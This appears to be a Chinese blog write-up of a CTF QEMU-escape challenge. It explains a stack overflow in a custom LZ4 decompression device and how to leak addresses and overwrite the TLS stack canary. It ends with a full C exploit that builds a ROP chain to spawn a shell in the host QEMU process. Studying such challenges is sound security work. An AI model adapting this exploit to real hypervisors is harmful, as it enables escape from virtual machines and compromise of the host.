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2024 Blue Water CTF - The Great Escape
CTF
2024 Blue Water CTF - pwn关于qemu逃逸的，The Great Escape，主要是解压的数据可以自己构造
> 感谢XDLiu师傅的帮助 感觉以后还是专门钻一个方向，不然时间花的太零散了。比如这次心血来潮看WSL去，最后发现完全是知识盲区，但至少学会了WSL怎么用了:） rootfs.cpio.zst和rootfs.cpio =========================== 要向一个 `rootfs.cpio.zst` 文件中加入一个文件，并重新压缩为 `rootfs.cpio.zst`，需要进行以下步骤： 1. **解压缩 `rootfs.cpio.zst`**：首先，解压缩 `.zst` 文件，然后解开 `cpio` 文件以便访问其内容。 2. **添加文件**：将新的文件添加到解压后的文件系统中。 3. **重新打包为 `cpio` 文件**：将修改后的文件系统重新打包为 `cpio` 文件。 4. **压缩为 `.zst` 文件**：将新的 `cpio` 文件压缩为 `.zst`。 以下是在 Linux 系统上的具体操作步骤： ### 1. 解压缩 `rootfs.cpio.zst` 首先，确保你安装了 `zstd` 和 `cpio` 工具。如果还没有安装，可以使用包管理器安装，例如在 Ubuntu 上： ```bash sudo apt update sudo apt install zstd cpio ``` 解压缩 `.zst` 文件： ```bash unzstd rootfs.cpio.zst ``` 此命令将生成一个 `rootfs.cpio` 文件。 ### 2. 解开 `cpio` 文件 创建一个目录来存放解压后的文件系统： ```bash mkdir rootfs cd rootfs ``` 解开 `cpio` 文件： ```bash cpio -idmv < ../rootfs.cpio ``` ### 3. 添加文件 将你想添加的文件复制到 `rootfs` 目录中。例如，如果你有一个名为 `newfile.txt` 的文件： ```bash cp /path/to/newfile.txt . ``` ### 4. 重新打包为 `cpio` 文件 从 `rootfs` 目录中创建一个新的 `cpio` 文件： ```bash find . | cpio -o -H newc > ../new_rootfs.cpio ``` ### 5. 压缩为 `.zst` 文件 将新的 `cpio` 文件压缩回 `.zst` 格式： ```bash zstd -o rootfs.cpio.zst ../new_rootfs.cpio ``` ### 清理临时文件 你可以删除临时文件和目录来清理空间： ```bash rm ../new_rootfs.cpio cd .. rm -rf rootfs ``` sudo解决 ====== XDLiu师傅解决的，tql！！！ > busybox原本权限是rws，s代表的是执行该文件时，它会以文件所有者的权限运行，而不是当前用户的权限。因为我们用普通用户解压了，其文件所有者的权限变成普通用户了，所以即便时root去执行该文件，还是以普通用户执行，这也是sudo解压压缩是可以正常用的原因，一直保持的是root为文件所有者 Lz4 === [https://blog.csdn.net/weixin\_45412350/article/details/123336868](https://blog.csdn.net/weixin_45412350/article/details/123336868) 直接从给出的源码链接查看解压过程 ```c LZ4 is a more efficient compression algorithm, it's one of the many derivates of LZ77, and it is known for it speed in decompression, that makes it a first choice for realtime compression of filesystems, it is used by ZFS for example. (https://en.wikipedia.org/wiki/LZ4_(compression_algorithm)) In term of compression efficiency, it is a bit less efficient than zlib deflate algorithm, but in maximum compression mode (-hc mode) it's not far from zlib compression ratio. Here is a decompression stub in x86_64 assembly, it's only 60 bytes, and can be called from a C program too: .globl lz4dec .intel_syntax noprefix // lz4dec(const void *dst, void *src, void *srcend); // rdi = dst, destination buffer // rsi = src, compressed data // rdx points to end of compressed data lz4dec: .l0: xor ecx,ecx xor eax,eax lodsb movzx ebx,al .cpy: shr al,4 call buildfullcount rep movsb rsi 指向的源地址开始，连续复制字节到 rdi 指向的目标地址，直到复制的字节数达到 rcx 指定的数量。 cmp rsi,rdx jae exit .copymatches: lodsw rsi 寄存器指向的内存位置读取一个字（2 个字节），然后将其加载到 AX 寄存器中 xchg ebx,eax and al,15 call buildfullcount .matchcopy: push rsi push rdi pop rsi sub rsi,rbx add ecx,4 rep movsb pop rsi jmp .l0 buildfullcount: cmp al,15 xchg ecx,eax jne exit # <15 .buildloop: lodsb add ecx,eax cmp al,255 je .buildloop exit: ret #include <stdint.h> #include <stddef.h> void lz4dec(uint8_t* dst, const uint8_t* src, const uint8_t* srcend) { while (src < srcend) { uint32_t length = 0; uint32_t offset = 0; uint8_t token = *src++; // Copy literals length = token >> 4; //len if (length == 15) { uint8_t len; do { len = *src++; length += len; } while (len == 255 && src < srcend); } for (uint32_t i = 0; i < length; ++i) { //literal *dst++ = *src++; if (src >= srcend) return; } if (src >= srcend) break; // Copy matches offset = *(uint16_t*)src; //offset src += 2; length = token & 0x0F; //match length if (length == 15) { uint8_t len; do { len = *src++; length += len; } while (len == 255 && src < srcend); } length += 4; const uint8_t* match = dst - offset; for (uint32_t i = 0; i < length; ++i) { *dst++ = *match++; } } } ``` 可以利用`const uint8_t* match = dst - offset; for (uint32_t i = 0; i < length; ++i) { *dst++ = *match++; }`来往dst里面写越界，同时可以通过改offset来使得往低地址越界读 逆向 == ```c /* * Virtual LZ4 Device * * Copyright (c) 2017 Milo Kim <woogyom.kim@gmail.com> * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, see <http://www.gnu.org/licenses/>. * */ #include "qemu/osdep.h" #include "hw/irq.h" #include "hw/qdev-properties.h" #include "hw/sysbus.h" #include "hw/virtio/virtio.h" #include "migration/qemu-file-types.h" #include "qemu/host-utils.h" #include "qemu/module.h" #include "sysemu/kvm.h" #include "sysemu/replay.h" #include "hw/virtio/virtio-mmio.h" #include "qemu/error-report.h" #include "qemu/log.h" #include "trace.h" #include "hw/hw.h" #include "exec/memory.h" #include "exec/address-spaces.h" #include "qemu/bitops.h" #define TYPE_VIRT_LZ4DEV "virt-lz4dev" #define VIRT_lz4dev(obj) OBJECT_CHECK(Virtlz4devState, (obj), TYPE_VIRT_LZ4DEV) /* Register map */ #define LZ4DEV_OFFSET_ID 0x00 #define LZ4DEV_OFFSET_LEN 0x08 #define LZ4DEV_OFFSET_TRIGGER 0x10 #define LZ4DEV_INBUF 0x20 #define REG_ID 0x0 #define CHIP_ID 0xf001 #define INT_ENABLED BIT(0) #define INT_BUFFER_DEQ BIT(1) typedef struct { SysBusDevice parent_obj; MemoryRegion iomem; qemu_irq irq; hwaddr dst; hwaddr len; char inbuf[4096]; } Virtlz4devState; extern uint64_t lz4dec_x86_64(void *dst, void *src, void *srcend); uint64_t lz4_cmd_decompress(Virtlz4devState *s, char *dst); uint64_t lz4_cmd_decompress(Virtlz4devState *s, char *dst) { uint64_t res; res = lz4dec_x86_64(dst, s->inbuf, s->inbuf+s->len); memcpy(&s->inbuf[0], dst, (res > 4096) ? 4096 : res); return res; } static uint64_t virt_lz4dev_read(void *opaque, hwaddr offset, unsigned size) { Virtlz4devState *s = (Virtlz4devState *)opaque; uint64_t data; if ((offset>=0x20) && (((offset-0x20)+size)<4096)) { data = 0; memcpy(&data, &s->inbuf[offset-0x20], size); return data; } switch (offset) { case LZ4DEV_OFFSET_ID: return 0xdeadbeef; case LZ4DEV_OFFSET_LEN: return s->len; default: break; } return 0; } static void virt_lz4dev_write(void *opaque, hwaddr offset, uint64_t value, unsigned size) { Virtlz4devState *s = (Virtlz4devState *)opaque; uint64_t data; char outbuf[4096]; if ((offset>=0x20) && (((offset-0x20)+size)<0x800)) { data = value; memcpy(&s->inbuf[offset-0x20], &data, size); return; } switch (offset) { case LZ4DEV_OFFSET_LEN: if ((hwaddr)value < 2048) s->len = (hwaddr)value; break; case LZ4DEV_OFFSET_TRIGGER: // return decompressed size in s->len s->len = (hwaddr)lz4_cmd_decompress(s, outbuf); break; default: break; } } static const MemoryRegionOps virt_lz4dev_ops = { .read = virt_lz4dev_read, .write = virt_lz4dev_write, .endianness = DEVICE_NATIVE_ENDIAN, }; static void virt_lz4dev_realize(DeviceState *d, Error **errp) { Virtlz4devState *s = VIRT_lz4dev(d); SysBusDevice *sbd = SYS_BUS_DEVICE(d); memory_region_init_io(&s->iomem, OBJECT(s), &virt_lz4dev_ops, s, TYPE_VIRT_LZ4DEV, 0x1000); sysbus_init_mmio(sbd, &s->iomem); sysbus_init_irq(sbd, &s->irq); } static void virt_lz4dev_class_init(ObjectClass *klass, void *data) { DeviceClass *dc = DEVICE_CLASS(klass); dc->realize = virt_lz4dev_realize; } static const TypeInfo virt_lz4dev_info = { .name = TYPE_VIRT_LZ4DEV, .parent = TYPE_SYS_BUS_DEVICE, .instance_size = sizeof(Virtlz4devState), .class_init = virt_lz4dev_class_init, }; static void virt_lz4dev_register_types(void) { type_register_static(&virt_lz4dev_info); } type_init(virt_lz4dev_register_types) ``` ```c diff --color -aur qemu-8.2.0/hw/arm/virt.c qemu-8.2.0-patched/hw/arm/virt.c --- qemu-8.2.0/hw/arm/virt.c 2023-12-19 22:24:34.000000000 +0100 +++ qemu-8.2.0-patched/hw/arm/virt.c 2024-05-25 09:51:45.943761308 +0200 @@ -157,6 +157,7 @@ [VIRT_PVTIME] = { 0x090a0000, 0x00010000 }, [VIRT_SECURE_GPIO] = { 0x090b0000, 0x00001000 }, [VIRT_MMIO] = { 0x0a000000, 0x00000200 }, + [VIRT_LZ4DEV] = { 0x0b000000, 0x00000200 }, /* ...repeating for a total of NUM_VIRTIO_TRANSPORTS, each of that size */ [VIRT_PLATFORM_BUS] = { 0x0c000000, 0x02000000 }, [VIRT_SECURE_MEM] = { 0x0e000000, 0x01000000 }, @@ -202,6 +203,7 @@ [VIRT_GIC_V2M] = 48, /* ...to 48 + NUM_GICV2M_SPIS - 1 */ [VIRT_SMMU] = 74, /* ...to 74 + NUM_SMMU_IRQS - 1 */ [VIRT_PLATFORM_BUS] = 112, /* ...to 112 + PLATFORM_BUS_NUM_IRQS -1 */ + [VIRT_LZ4DEV] = 112 + PLATFORM_BUS_NUM_IRQS, }; static const char *valid_cpus[] = { @@ -1116,6 +1118,38 @@ } } +static void create_virt_lz4dev_device(const VirtMachineState *vms) +{ + MachineState *ms = MACHINE(vms); + hwaddr base = vms->memmap[VIRT_LZ4DEV].base; + hwaddr size = vms->memmap[VIRT_LZ4DEV].size; + int irq = vms->irqmap[VIRT_LZ4DEV]; + char *nodename; + + /* + * virt-lz4dev@0b000000 { + * compatible = "virt-lz4dev"; + * reg = <0x0b000000 0x200>; + * interrupt-parent = <&gic>; + * interrupts = <176>; + * } + */ + + sysbus_create_simple("virt-lz4dev", base, qdev_get_gpio_in(vms->gic, irq)); + + nodename = g_strdup_printf("/virt_lz4dev@%" PRIx64, base); + qemu_fdt_add_subnode(ms->fdt, nodename); + qemu_fdt_setprop_string(ms->fdt, nodename, "compatible", "virt-lz4dev"); + qemu_fdt_setprop_sized_cells(ms->fdt, nodename, "reg", 2, base, 2, size); + qemu_fdt_setprop_cells(ms->fdt, nodename, "interrupt-parent", + vms->gic_phandle); + qemu_fdt_setprop_cells(ms->fdt, nodename, "interrupts", + GIC_FDT_IRQ_TYPE_SPI, irq, + GIC_FDT_IRQ_FLAGS_LEVEL_HI); + + g_free(nodename); +} + #define VIRT_FLASH_SECTOR_SIZE (256 * KiB) static PFlashCFI01 *virt_flash_create1(VirtMachineState *vms, @@ -2308,6 +2342,7 @@ * no backend is created the transport will just sit harmlessly idle. */ create_virtio_devices(vms); + create_virt_lz4dev_device(vms); vms->fw_cfg = create_fw_cfg(vms, &address_space_memory); rom_set_fw(vms->fw_cfg); Seulement dans qemu-8.2.0-patched/hw/misc: lz4dec_x86_64.s diff --color -aur qemu-8.2.0/hw/misc/meson.build qemu-8.2.0-patched/hw/misc/meson.build --- qemu-8.2.0/hw/misc/meson.build 2023-12-19 22:24:34.000000000 +0100 +++ qemu-8.2.0-patched/hw/misc/meson.build 2023-12-31 03:52:01.645221730 +0100 @@ -1,5 +1,7 @@ system_ss.add(when: 'CONFIG_APPLESMC', if_true: files('applesmc.c')) system_ss.add(when: 'CONFIG_EDU', if_true: files('edu.c')) +system_ss.add(files('virt_lz4dev.c')) +system_ss.add(files('lz4dec_x86_64.s')) system_ss.add(when: 'CONFIG_FW_CFG_DMA', if_true: files('vmcoreinfo.c')) system_ss.add(when: 'CONFIG_ISA_DEBUG', if_true: files('debugexit.c')) system_ss.add(when: 'CONFIG_ISA_TESTDEV', if_true: files('pc-testdev.c')) Seulement dans qemu-8.2.0-patched/hw/misc: virt_lz4dev.c diff --color -aur qemu-8.2.0/include/hw/arm/virt.h qemu-8.2.0-patched/include/hw/arm/virt.h --- qemu-8.2.0/include/hw/arm/virt.h 2023-12-19 22:24:34.000000000 +0100 +++ qemu-8.2.0-patched/include/hw/arm/virt.h 2023-12-31 05:00:08.097627518 +0100 @@ -76,6 +76,7 @@ VIRT_ACPI_GED, VIRT_NVDIMM_ACPI, VIRT_PVTIME, + VIRT_LZ4DEV, VIRT_LOWMEMMAP_LAST, }; ``` ```c .globl lz4dec_x86_64 .intel_syntax noprefix // // https://github.com/nobodyisnobody/tools/tree/main/Assembly.Decompression.Stubs#2--lz4-compression // small lz4 decompression stub in x86_64 assembly (60 bytes) // lz4dec_x86_64(void *dst, void *src, void *srcend); lz4dec_x86_64: push rcx push rbx push rdi .l0: xor ecx,ecx xor eax,eax lodsb 从源指针（rsi）指向的内存位置加载一个字节到 al 寄存器 movzx ebx,al 将 al 中的 8 位无符号值扩展为 32 位，并存储在 ebx 中 .cpy: shr al,4 call buildfullcount rep movsb cmp rsi,rdx jae .done2 .copymatches: lodsw xchg ebx,eax and al,15 call buildfullcount .matchcopy: push rsi push rdi pop rsi sub rsi,rbx add ecx,4 rep movsb pop rsi jmp .l0 buildfullcount: cmp al,15 xchg ecx,eax jne .done1 .buildloop: lodsb add ecx,eax cmp al,255 je .buildloop .done1: ret .done2: push rdi pop rax pop rdi sub rax,rdi pop rbx pop rcx ret #include <stdint.h> // lz4dec_x86_64(void *dst, void *src, void *srcend); void lz4dec_x86_64(uint8_t* dst, const uint8_t* src, const uint8_t* srcend) { const uint8_t* original_dst = dst; while (src < srcend) { uint32_t length = 0; uint32_t offset = 0; uint8_t token = *src++; // Copy literals length = token >> 4; if (length == 15) { uint8_t len; do { len = *src++; length += len; } while (len == 255 && src < srcend); } for (uint32_t i = 0; i < length; ++i) { *dst++ = *src++; if (src >= srcend) goto done2; } if (src >= srcend) break; // Copy matches offset = *(uint16_t*)src; src += 2; length = (token & 0x0F); if (length == 15) { uint8_t len; do { len = *src++; length += len; } while (len == 255 && src < srcend); } length += 4; const uint8_t* match = dst - offset; for (uint32_t i = 0; i < length; ++i) { *dst++ = *match++; } } done2: ; // Calculate the decompressed length size_t decompressed_length = dst - original_dst; } ``` 漏洞点 === ```c // lz4dec_x86_64(void *dst, void *src, void *srcend); void lz4dec_x86_64(uint8_t* dst, const uint8_t* src, const uint8_t* srcend) { const uint8_t* original_dst = dst; while (src < srcend) { uint32_t length = 0; uint32_t offset = 0; uint8_t token = *src++; // Copy literals length = token >> 4; if (length == 15) { uint8_t len; do { len = *src++; length += len; } while (len == 255 && src < srcend); } for (uint32_t i = 0; i < length; ++i) { *dst++ = *src++; if (src >= srcend) goto done2; } if (src >= srcend) break; // Copy matches offset = *(uint16_t*)src; src += 2; length = (token & 0x0F); if (length == 15) { uint8_t len; do { len = *src++; length += len; } while (len == 255 && src < srcend); } length += 4; const uint8_t* match = dst - offset; for (uint32_t i = 0; i < length; ++i) { *dst++ = *match++; } } done2: ; // Calculate the decompressed length size_t decompressed_length = dst - original_dst; } uint64_t lz4_cmd_decompress(Virtlz4devState *s, char *dst) { uint64_t res; res = lz4dec_x86_64(dst, s->inbuf, s->inbuf+s->len); memcpy(&s->inbuf[0], dst, (res > 4096) ? 4096 : res); return res; } static void virt_lz4dev_write(void *opaque, hwaddr offset, uint64_t value, unsigned size) { Virtlz4devState *s = (Virtlz4devState *)opaque; uint64_t data; char outbuf[4096]; case LZ4DEV_OFFSET_TRIGGER: // return decompressed size in s->len s->len = (hwaddr)lz4_cmd_decompress(s, outbuf); break; } ``` outbuf是栈上的，lz4\_cmd\_decompress会将s->inbuf, s->inbuf+s->len解压到outbuf里面，而这里没有4096的限制，会导致virt\_lz4dev\_write的栈溢出 交互 == root权限可以打开/dev/mem，然后mmap映射物理地址到用户空间即可，我是傻逼，还想着模块，内核头文件都没给，显然不可能是模块.jpg 有个溢出废洞，放弃后感觉洞在解压缩上，咋pwn还涉及到找解压缩的算法。见世面了，显然是我太菜了.jpg 给了原来的源码，额。。。对比发现有改动。。。然后主要的洞就是传入的是压缩的数据，但这个压缩的数据是自己构造的。而不是通过其压缩方法来压缩的 思路 == 通过offset使得负越界泄露，但最大也是0xffff，发现没有canary可以泄露。发现所有残存的都在高地址 ```bash 1a:00d0│ 0x7f8eb4ffe0b0 —▸ 0x7f8eb4ffe0e0 ◂— 0 1b:00d8│ 0x7f8eb4ffe0b8 —▸ 0x7f8eb4ffe1fe ◂— 0 1c:00e0│ 0x7f8eb4ffe0c0 —▸ 0x7f8eb4ffe0e0 ◂— 0 1d:00e8│ 0x7f8eb4ffe0c8 —▸ 0x5e4569b7c3c0 —▸ 0x5e45691ecd50 —▸ 0x5e4568fdef80 —▸ 0x5e4568fdf100 ◂— ... 1e:00f0│ 0x7f8eb4ffe0d0 ◂— 4 1f:00f8│ rsp 0x7f8eb4ffe0d8 —▸ 0x5e4566b27879 (lz4_cmd_decompress+73) ◂— mov ecx, 0x1000 20:0100│ rdi r12 0x7f8eb4ffe0e0 ◂— 0 // 是dst -offset可以泄露上面内容 ``` 所以只能通过覆盖TLS中的canary来修改 然后打rop TLScanary： ========== <https://www.cnblogs.com/CH13hh/p/18299195> 每个线程有一个TCB和自己的TLS（Thread-Local Storage）区域（存储独立的canary） 每个TCB指向TLS区域，TCB保存在高地址 - 溢出大字节至少1page - 能创建线程，线程里栈溢出 ```c struct pthread { #if !TLS_DTV_AT_TP /* This overlaps the TCB as used for TLS without threads (see tls.h). */ tcbhead_t header; // 可能与TLS相关的头部信息 #else struct { // 更复杂的结构体定义 // 可能包含与TLS相关的更多详细信息 // ... } header; #endif /* Extra padding for alignment and potential future use */ void *__padding[24]; // 填充数组，用于对齐和可能的未来扩展 }; typedef struct { void *tcb; /* 指向线程控制块（TCB）的指针 */ dtv_t *dtv; /* 线程特定数据的指针 */ void *self; /* 指向线程描述符的指针 */ int multiple_threads; /* 标识是否有多个线程 */ int gscope_flag; /* 全局作用域标志 */ uintptr_t sysinfo; /* 系统信息 */ uintptr_t stack_guard;/* 堆栈保护 */ uintptr_t pointer_guard; /* 指针保护 */ /* 其他可能的字段... */ } tcbhead_t; ``` 注意覆盖fs部分时canary前面部分尽量保持原样或者同类型的，不如就会出现如下问题 ```bash ► 0x784be8ca38a0 <pthread_setcancelstate> endbr64 0x784be8ca38a4 <pthread_setcancelstate+4> cmp edi, 1 1 - 1 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ] 0x784be8ca38a7 <pthread_setcancelstate+7> ja pthread_setcancelstate+80 <pthread_setcancelstate+80> 0x784be8ca38a9 <pthread_setcancelstate+9> mov rax, qword ptr fs:[0x10] RAX, [0x784bb54006d0] => 0x101010101010101 0x784be8ca38b2 <pthread_setcancelstate+18> lea rcx, [rax + 0x308] RCX => 0x101010101010409 0x784be8ca38b9 <pthread_setcancelstate+25> mov eax, dword ptr [rax + 0x308] <Cannot dereference [0x101010101010409]> ``` exp === ```c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <stdint.h> #define VIRT_LZ4DEV_BASE 0x0b000000 #define VIRT_LZ4DEV_SIZE 0x00000200 #define LZ4DEV_OFFSET_ID 0x00 #define LZ4DEV_OFFSET_LEN 0x08 #define LZ4DEV_OFFSET_TRIGGER 0x10 #define LZ4DEV_INBUF 0x20 void compress(char low,char high,int literal_len,char*literal,short offset,int match_len) { } int main() { int fd; void *map_base; volatile uint64_t *id_reg; volatile uint64_t *len_reg; volatile uint64_t *trigger_reg; volatile uint8_t *inbuf; uint64_t token; uint64_t literal_len; uint64_t literal; uint64_t offset; uint64_t match_len; uint64_t compress; // Open /dev/mem fd = open("/dev/mem", O_RDWR | O_SYNC); if (fd == -1) { perror("open /dev/mem"); exit(1); } // Map the device memory map_base = mmap(NULL, VIRT_LZ4DEV_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, VIRT_LZ4DEV_BASE); if (map_base == MAP_FAILED) { perror("mmap"); close(fd); exit(1); } // Get pointers to the registers id_reg = (volatile uint64_t *)(map_base + LZ4DEV_OFFSET_ID); len_reg = (volatile uint64_t *)(map_base + LZ4DEV_OFFSET_LEN); trigger_reg = (volatile uint64_t *)(map_base + LZ4DEV_OFFSET_TRIGGER); inbuf = (volatile uint8_t *)(map_base + LZ4DEV_INBUF); // leak token=0xf; offset=0x20<<8; match_len=0x20<<24; compress=token|offset|match_len; // Write some data to the input buffer *(uint32_t*)inbuf=compress; *len_reg=8; // Trigger the decompression *trigger_reg = 1; uint64_t lowerpie =*(uint32_t*)(inbuf+24); //0xc01f20 0x7cee0a000000 printf("lower pie %llx \n",lowerpie); uint64_t higherpie =*(uint32_t*)(inbuf+28); printf("higher pie %llx \n",higherpie); uint64_t pie=lowerpie|(higherpie<<32); pie=pie-0x44a879; printf("pie %llx \n",pie); uint64_t system_addr=0x0000000000822D77+pie; uint64_t binsh_addr=0x0000000000A7D49E +pie; uint64_t pop_rdi_ret=0x0000000000335838+pie; uint64_t ret_addr=0x0000000000335839+pie; uint64_t lowerstack =*(uint32_t*)(inbuf); //0xc01f20 0x7cee0a000000 printf("lower stack %llx \n",lowerstack); uint64_t higherstack =*(uint32_t*)(inbuf+4); printf("higher stack %llx \n",higherstack); uint64_t stack=lowerstack|(higherstack<<32); printf("stack %llx \n",stack); *len_reg=0x100; //paddding 4096 token=0x1f; literal=1<<8; offset=1<<16; compress=token|literal|offset; // Write some data to the input buffer *(uint32_t*)inbuf=compress; match_len=0xffffffffffffffff; *(uint64_t*)(inbuf+4)=match_len; match_len=0xfbffffffffffffff; *(uint64_t*)(inbuf+12)=match_len; //paddding 0x48 token=0x1f; literal=1<<8; offset=1<<16; compress=token|literal|offset; *(uint32_t*)(inbuf+20)=compress; match_len=0x47-0xf-4-0x20; *(uint8_t*)(inbuf+24)=match_len; //rop chain token=0xf0; literal_len=(0x20-0xf)<<8; compress=token|literal_len; *(uint16_t*)(inbuf+25)=compress; printf("pop_rdi_ret %llx \n",pop_rdi_ret); printf("binsh_addr %llx \n",binsh_addr); printf("system_addr %llx \n",system_addr); printf("ret_addr %llx \n",ret_addr); *(uint64_t*)(inbuf+27)=pop_rdi_ret; *(uint64_t*)(inbuf+35)=binsh_addr; *(uint64_t*)(inbuf+43)=system_addr; *(uint64_t*)(inbuf+51)= ret_addr; offset=0; *(uint16_t*)(inbuf+59)=offset; // padding token=0x1f; literal=1<<8; offset=1<<16; compress=token|literal|offset; // Write some data to the input buffer *(uint32_t*)(inbuf+61)=compress; match_len=0xffffffffffffffff; *(uint64_t*)(inbuf+65)=match_len; match_len=0xffffffffffffffff; *(uint64_t*)(inbuf+73)=match_len; match_len=0x95ffffffffff; *(uint64_t*)(inbuf+81)=match_len; // cover TLS token=0xf0; literal_len=(0x28-0xf)<<8; compress=token|literal_len; *(uint16_t*)(inbuf+87)=compress; *(uint64_t*)(inbuf+89)=stack; *(uint64_t*)(inbuf+97)=binsh_addr; *(uint64_t*)(inbuf+105)=stack; *(uint64_t*)(inbuf+113)= 1; *(uint64_t*)(inbuf+121)= 0; *(uint64_t*)(inbuf+129)= 0x101011001010101; offset=0; *(uint16_t*)(inbuf+137)=offset; // trigger int decompressed_len=*len_reg; *trigger_reg = 1; // Read the decompressed data from the input buffer for (uint64_t i = 0; i < decompressed_len; i++) { printf("%02x \n", inbuf[i]); } // Unmap the device memory munmap(map_base, VIRT_LZ4DEV_SIZE); // Close the file descriptor close(fd); return 0; } //0x10f4d0 ``` 
发表于 2024-10-23 09:00:01
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